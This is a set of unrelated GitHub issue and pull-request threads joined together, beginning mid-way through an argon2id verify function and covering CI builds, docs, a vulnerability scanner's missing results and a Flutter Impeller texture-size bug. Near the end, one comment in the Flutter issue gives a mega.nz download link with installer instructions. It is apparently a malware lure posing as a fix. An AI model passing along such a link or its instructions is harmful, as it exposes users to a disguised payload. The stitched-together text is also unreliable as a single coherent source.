    "data" in params ? base64.parse(params.data, { loose: true }) : undefined;

  const salt = base64.parse(saltB64, { loose: true });
  const digest = base64.parse(digestB64, { loose: true });

  const expectedDigest = argon2id({
    password,
    salt,
    secret,
    ad,
    memorySize,
    passes,
    parallelism,
    tagLength: digest.length,
  });

  for (let i = 0; i < digest.length; i++) {
    if (digest[i] !== expectedDigest[i]) return false;
  }

  return true;
};

export default {
  hash,
  verify,
};

By the way, thank you for this high quality package :)

Yes, PHC would be great to have to have interoperability with server-side code.


Don't Merge! PR real time test for source branch full build

Docs Build status updates of commit 44a4764:
:clock10: Pending: waiting for processors (29 builds ahead of you)
:warning: Docs Build is busy, currently there are 29 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 44a4764:
:clock10: Full build: the average full build time is 10 min(s), this is based on the last 30 build(s) for this repository.

Docs Build status updates of commit 44a4764:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docfx.json
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


we seem to have lost zstandard tests

I know that at one time there was a zstandard test.
But now it is not present. Not sure where it went. But obviously we want to test zstandard.

Odd. By any chance can you remember a release that had it? Or remember its name?
If so, we can probably find and restore it.

I'll take a look now that I've got the zip issue fixed.


"Generate Password" button is not working

Describe the issue:
The user creation page has an option to generate a password, but that button doesn't function properly. It doesn't generate a password

How to reproduce:

Log into console application
Go to Manage -> Users
Try to add a user with generating a password.
Generate Password button doesn't work

Expected behavior:
If password generation is supported, the button should function properly.
else, remove the password generation button.
Environment information (Please complete the following information; remove  any unnecessary fields) :

Product Version:  IS 5.12.0-m27
OS:  Linux
Database:  H2
Browser - Chrome, Firefox

Duplicates https://github.com/wso2/product-is/issues/12320


Move Tim Beiko to Emeritus Maintainer

Tim requested to be moved to Emeritus status.
Signed-off-by: Danno Ferrin<EMAIL_ADDRESS>

PR description
Fixed Issue(s)

Changelog

[ ] I thought about the changelog and included a changelog update if required.

Tim's request - https://github.com/hyperledger/besu/pull/2048#issuecomment-806186117


This passage should be added to shifu.run

https://github.com/Edgenesis/shifu/blob/c6cd5225298b076f9a21185a612134be76a5db29/docs/guide/quick-start-socket-deviceshifu.md

This should be added at guides/cases/connect-socket.md.


The gcov plugin should have better control over what gets coverage analysis

Currently, the gcov plugin may falsely assume some files need coverage that don't. For instance, a helper module containing reusable stubs for use as CMock callbacks will currently get coverage analysis.
We could try to get smarter with the logic determining which files should get coverage, but I suspect that this could be a rabbit hole, and is prone to frustrating problems.
I propose that instead we add a couple of parameters to the config:

:exclude: A lilst of files to explicitly exclude from coverage analysis
:include: A list of files to explicitly include in coverage analysis. We only really need this if we plan to include smarter logic which might sometimes get things wrong

Hi!
I'd like to implement the :exclude logic, unless anyone is already working on this? (I may need include logic also, but the exclude is more urgent for the time being.)
@mvandervoord

@tobyjwebb -- yes please! If you get something this week, I can even roll it into the upcoming release!


Allow clientId and clientSecret to be customized per request

This follows the pattern of our other additions to this module to suit
our needs by adding another functional option that will be called to
retrieve the clientId and clientSecret to be used for the request.

Accept a getClient option to the Strategy constructor and save to
a local _getClient path.
Call the this._getClient to retrieve the clientID and
clientSecret to use when instantiating the OAuth object.
Add .idea to gitignore

<EMAIL_ADDRESS>


Correcting some punctuation marks.

Correcting some punctuation marks.

@pluralitybook   I've already looked it over again, and there are no problems. Thank you. cc'ed @audreyt
Thanks to @billy3321  for this assistance!


[Docs]: Add documentation for OIDC integration with AWS Cognito

Is there an existing issue for this?

[X] I have searched the existing issues

Documentation Link
No response
Describe the problem
Add documentation for OIDC integration with AWS Cognito
Describe the improvement
NA

@RakshaKShetty have we tested this?

Gentle reminder @RakshaKShetty

@RakshaKShetty - Could you please share the first draft?

We are currently attempting to follow the Cognito documentation, resulting in an error - has this documentation been validated and the integration being validated? (or are we misunderstanding the documentation?)

@rmwebmethod Could you share the link to the documentation you are looking at because the one mentioned on this issue is not ready yet?

Duplicate


[BUG] CI Build Failure

:bug: Bug report
Current Behavior
The build is failing: https://github.com/graycoreio/daffodil/commit/0b7de2c1f5b954d48e0c23095bfeb7076997845c
Expected Behavior
The build is passing.
Minimal reproduction of the problem with instructions
See https://github.com/graycoreio/daffodil/commit/0b7de2c1f5b954d48e0c23095bfeb7076997845c
What is the motivation / use case for changing the behavior?
QA

This is related to #1233, which is in process.

This is related to #1233, which is in process.

fixed 🤞


Added page.dashboard, other minor corrections.

@martjanz thank you very much for your PR! I will merge it now and release a new library version.

@all-contributors please add @martjanz for code


Enable use to specify location of mouse event?

Because I'm writing a pixijs app...

fix typo

Hi @Zzzen, I probably won’t have any time to work on this until much later this week, but if you want to take a stab at it, you’d just need to change the implementation (and maybe the name) of actionOnElementCenter here: https://github.com/Mr0grog/nightmare-real-mouse/blob/master/index.js#L96-L105 (plus add some tests)

What do you think about it

Hello? @Mr0grog

Sorry it’s taken me some time to get back to this. It might be a good idea to validate the input position the same way we do the selector. Otherwise, looks good! Are you going to submit a PR?

Make sure that the input position is in boundingClientRect of selector? And yes, I want to submit a PR.

Make sure that the input position is in boundingClientRect of selector?

Oh, I was just thinking that it has x and y properties that are numbers! But we could definitely also check that it’s in-bounds.

And yes, I want to submit a PR.

Great, I’ll look forward to it 👍


ctrl+B doesn't work to open iPXE prompt

Press Ctrl-B for the iPXE command line...
On my new machine, as soon as I press ctrl, this prompt disappears and iPXE continues normal boot. I don't even get a chance to press B.
This is due to buggy UEFI firmware. iPXE has a work-around: You can press ESC+B instead. Note you must hold ESC while pressing B. This successfully got me to the prompt.

Obsoleted by 106c09f5a7c9c243619cf346be098011e5e849f9 -- the guide no longer uses the iPXE shell.


Use our scripts in CircleCI instead of specific Docker Compose commands

Feature Request
Is your feature request related to a problem or unsupported use case? Please describe.
CircleCI is running its own docker-compose commands. We now think that it is useless complexity that is painful to maintain and that we are missing an opportunity to test our scripts for free.
Describe the solution you'd like

[ ] Add an option to our scripts to define the image on which a command is run,
[ ] Replace all specific Docker Compose commands in CircleCI config by calls to our scripts.

Closing this issue because the CI was completely refactored last week.
Richie's CI is not using docker-compose any more so the opportunity for simplification is gone.


Create CODE_OF_CONDUCT.md

All PRs should be based on an issue
WHY?
See issue # / A short description
WHAT?
A short description of the changes

[ ] I have considered (and possibly added) tests
[ ] I have updated the documentation

[Optional] Resolves #

Coverage remained the same at 26.0% when pulling c8d3bf3e79d7c629c3f7d2f9ac569ec4bed77dfa on add-code-of-conduct-1 into 6dfda8ee16b50a20caf09269f9fc4e27a675abf8 on master.


Fix S3 upload bug

Proposed fix for: https://github.com/Percona-Lab/mongodb_consistent_backup/issues/187
This fix has a couple of parts. First, it gets rid of the get_key call, which is not necessary for setting the ACL. In our tests, an exception in this get_key call caused the entire upload to fail, which is probably NOT the desired result.
Secondly, this fix uses the set_acl directly on the S3 Bucket object (http://boto.cloudhackers.com/en/latest/ref/s3.html#boto.s3.bucket.Bucket.set_acl). This allows us to avoid the problematic get_key call.
Finally, the exception was blank in our testing. This fix adds an explicit call to traceback to help clarify the cause of the error.

Hi @jessewiles,
Thanks for your fixes to the S3 Uploader! We will be freezing the code for the next 7 days or so to stabilise the code for the 1.2.0 release during our Percona Live Europe Conference. I'll review this code after that freeze.

Thanks Tim! For reference, here's the log which provides context for this particular fix.  Cheers.
https://gist.github.com/jessewiles/79da07545a4dffae96c9d986f3bdb6ae

Done.

Thanks @jessewiles!


WIP: what if we run the tests as a separate thing

Summary of the Pull Request

References

PR Checklist

[ ] Closes #xxx
[ ] CLA signed. If not, go over here and sign the CLA
[ ] Tests added/passed
[ ] Documentation updated. If checked, please file a pull request on our docs repo and link it here: #xxx
[ ] Schema updated.
[ ] I've discussed this with core contributors already. If not checked, I'm ready to accept this work might be rejected in favor of a different grand plan. Issue number where discussion took place: #xxx

Detailed Description of the Pull Request / Additional comments

Validation Steps Performed

woah, that looks like it works. Thats so cool

The way we're shuttling all exe/dll/etc artifacts from build to build scares me a little and we might want to use pipeline artifacts instead (docs say they're faster!), but... if you guys are cool with it I can be cool with it too

If it works, I'm cool with it

implying I really understand our ci config

The way we're shuttling all exe/dll/etc artifacts from build to build scares me a little and we might want to use pipeline artifacts instead (docs say they're faster!), but... if you guys are cool with it I can be cool with it too

I honestly had no idea there were two different types of artifacts. So that should be a follow on investigation, IMO.

I'm going to run the non-CI version against this to make sure Helix can still submit/report.

yes, this works in helix. the tests fail, but submission works.
I should move helix submission to another sub-job


No vulnerability found

Thanks for maintaining this tool, but why i see no vulnerabilities after the scan. i tested with many sites that are vulnerable to test it but it doesn't display anything. I use windows version

afrog @ablito19 afrog.exe -t scanme.nmap.org -s directory

same thing. i noticed to the folder afrog-pocs is empty. I have to download the pocs manually. why ?

same thing. i noticed to the folder afrog-pocs is empty. I have to download the pocs manually. why ?

The poc is built into the afrog program, and the afrog-poc folder is where temporary updated poc is stored

I tell you this

This folder is empty. Maybe that's why i have no vuln when i scan server. What is the problem or how to solve it ?

By using the command afrog -pl, you can see the number and detailed list of Proof of Concepts (PoCs), which currently stands at 1435 PoCs. If you execute the command afrog.exe -t honey.scanme.sh, the scanning progress should also reflect the same number, 1435.

It is exactly twice the number of 1435. There should be 1435 PoCs in the "%HOME%/afrog-pocs" folder, resulting in data duplication. The content of "%HOME%/afrog-pocs" does not need to be operated and can be automatically processed by the afrog program.

At first install or any update, no PoCs in %HOME%/afrog-pocs . I have to download the pocs manually from the github folder.

At first install or any update, no PoCs in %HOME%/afrog-pocs . I have to download the pocs manually from the github folder.在首次安装或任何更新时，%HOME%/afrog-pocs 中没有 PoC。我必须从 github 文件夹中手动下载 pocs。

Ignore "%HOME%/afrog-pocs". No action is required.

建议作者要不把afrog-pocs改个名字。。。比如改成temp-dir之类的，或者叫自定义poc等等。。。

i have installed the latest version 3.1.3 but no vulnerabilites found. i dont know why


boosts: Hide restore timer when no boosts are visible

Fixes runelite/runelite#6983

Pushed some commits that (probably) fix that bug and the stream allocation each render. Haven't tested, but will test and squash when I have time tomorrow.

Build is failing

I've fixed the build failing and addressed the "ALWAYS" boost showing behavior.


Create SES config for redirecting e-mails to dedicated bucket

This ticket is concerned only about dev_codeforpoznan_v3. No other project should have mail forwarding of any sort enabled yet.
Please use terraform data resources (*_document) for policy description instead of inline JSON.
"dedicated bucket" was/is created here: https://github.com/CodeForPoznan/Infrastructure/issues/76.
Docs:
https://aws.amazon.com/premiumsupport/knowledge-center/ses-receive-inbound-emails/
https://tech-universe.net/posts/aws/how-to-receive-mail-in-amazon-ses-and-save-it-in-s3/
https://registry.terraform.io/providers/hashicorp/aws/latest/docs/data-sources/caller_identity
https://github.com/trussworks/terraform-aws-ses-domain/blob/master/examples/simple/main.tf#L47

Not relevant anymore.


Notifier attachment should be in CSV format rather than json.

This is to help with easier readability.

Can you please elaborate a little on why CSV over JSON? @blueandgold

Current Forseti json attachment show up like this, which is hard to read.

Customers have preferred CSV attachment like this, which is easier to read.

My 2c: With JSON, you should be able to control the dump format so it looks better. With CSV, it doesn't support hierarchical data structure which might limit the potential use case in the future.

Yes, good point; we actually do plan to allow user to specify whether they
want json or csv.  This is the first step, since csv is the preferred
default and is a direct port of the existing scanner attachment's format.
And to make the file format configurable, will require some restructuring
of the notifier's configuration schema.
On Wed, Mar 21, 2018 at 8:32 PM jiyunyao<EMAIL_ADDRESS>wrote:

My 2c: With JSON, you should be able to control the dump format so it
looks better. With CSV, it doesn't support hierarchical data structure
which might limit the potential use case in the future.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/GoogleCloudPlatform/forseti-security/issues/1048#issuecomment-375168573,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGp4CPpWhU-82EYcY5CCEDqvQ3Uob7cJks5tgxtggaJpZM4R77s7
.

Just to track this more visibly, opened issue #1287.
On Thu, Mar 22, 2018 at 7:24 AM Henry Chang<EMAIL_ADDRESS>wrote:

Yes, good point; we actually do plan to allow user to specify whether they
want json or csv.  This is the first step, since csv is the preferred
default and is a direct port of the existing scanner attachment's format.
And to make the file format configurable, will require some restructuring
of the notifier's configuration schema.
On Wed, Mar 21, 2018 at 8:32 PM jiyunyao<EMAIL_ADDRESS>wrote:

My 2c: With JSON, you should be able to control the dump format so it
looks better. With CSV, it doesn't support hierarchical data structure
which might limit the potential use case in the future.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/GoogleCloudPlatform/forseti-security/issues/1048#issuecomment-375168573,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGp4CPpWhU-82EYcY5CCEDqvQ3Uob7cJks5tgxtggaJpZM4R77s7
.


TS-4887 : Clean up Parent Selection URL feature

Updated TS API manual page.
Renamed 'tmp' variable in ParentConsistentHash::getPathHash().
Clean up debug messages (some excessive pointer value reporting).

@jrushford -- Please indicate whether you want to retain the cache_lookup URL pointer to be passed along with the parent selection URL pointer in the HTTP request data. I added this since you mentioned it might be needed for TS-4025, but it is not being used currently.

@pbchou - thanks for the variable name change.  I havent started on TS-4025 yet but, I'll proably use that pointer so go ahead and leave the cache_lookup pointer but fix the debug.   docs look okay.

@PSUdaemon @jrushford -- Commented out Debug()'s have been deleted. Thanks.

[approve ci]

Linux build failed! See https://ci.trafficserver.apache.org/job/Github-Linux/762/ for details.

FreeBSD build successful! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/866/ for details.

@jrushford @PSUdaemon -- Any idea on why the Linux build failed above? I looked at the console output, and it did not seem to be related to anything touched here in this PR.

[approve ci]

@pbchou can you squash these commits together?

FreeBSD build successful! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/875/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/771/ for details.

@pbchou when you squash, can you remove the whitespace before the : to conform to the proper commit message format?
Thanks.

Done.

[approve ci]

FreeBSD build successful! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/880/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/775/ for details.


Removed vendor

Codecov Report

Merging #3 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master       #3   +/-   ##
=======================================
  Coverage   49.19%   49.19%
=======================================
  Files          13       13
  Lines         433      433
=======================================
  Hits          213      213
  Misses        220      220

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1509a77...5449f4b. Read the comment docs.


[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Requested texture size (1281, 300000) exceeds maximum supported size of (8192, 8192)

Steps to reproduce
Stack with StackFit.expand add a WebView
Expected results
work well. (sample code run well before 3.24.0)
Actual results
white screen a few moment
Code sample
Code sample
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: Stack(
        fit: StackFit.expand,
        children: <Widget>[
          WebViewWidget(
            controller: _controller,
            layoutDirection: Directionality.of(context),
          ),
         // other widgets
        ],
      ),
    );
  }

Screenshots or Video

Screenshots / Video demonstration
[Upload media here]

Logs
Logs
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Requested texture size (1281, 300000) exceeds maximum supported size of (8192, 8192)
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Could not create multisample color texture.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Render target does not have color attachment at index 0.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Render target does not have color attachment at index 0.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Subpass render target is invalid.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Requested texture size (1281, 300000) exceeds maximum supported size of (8192, 8192)
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Could not create multisample color texture.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Render target does not have color attachment at index 0.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Render target does not have color attachment at index 0.
[ERROR:flutter/impeller/base/validation.cc(59)] Break on 'ImpellerValidationBreak' to inspect point of failure: Subpass render target is invalid.

Flutter Doctor output
Doctor output
Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 3.24.1, on macOS 13.6.1 22G313 darwin-x64, locale zh-Hans-CN)
[✓] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
[✓] Xcode - develop for iOS and macOS (Xcode 15.0.1)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2024.1)
[✓] VS Code (version 1.92.2)
[✓] Connected device (3 available)
[✓] Network resources

• No issues found!

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."

Hi @droplet-js, what platform(s) and device(s) are you seeing this issue on? Please provide a complete runnable code sample so that we can properly investigate this issue.
Thank you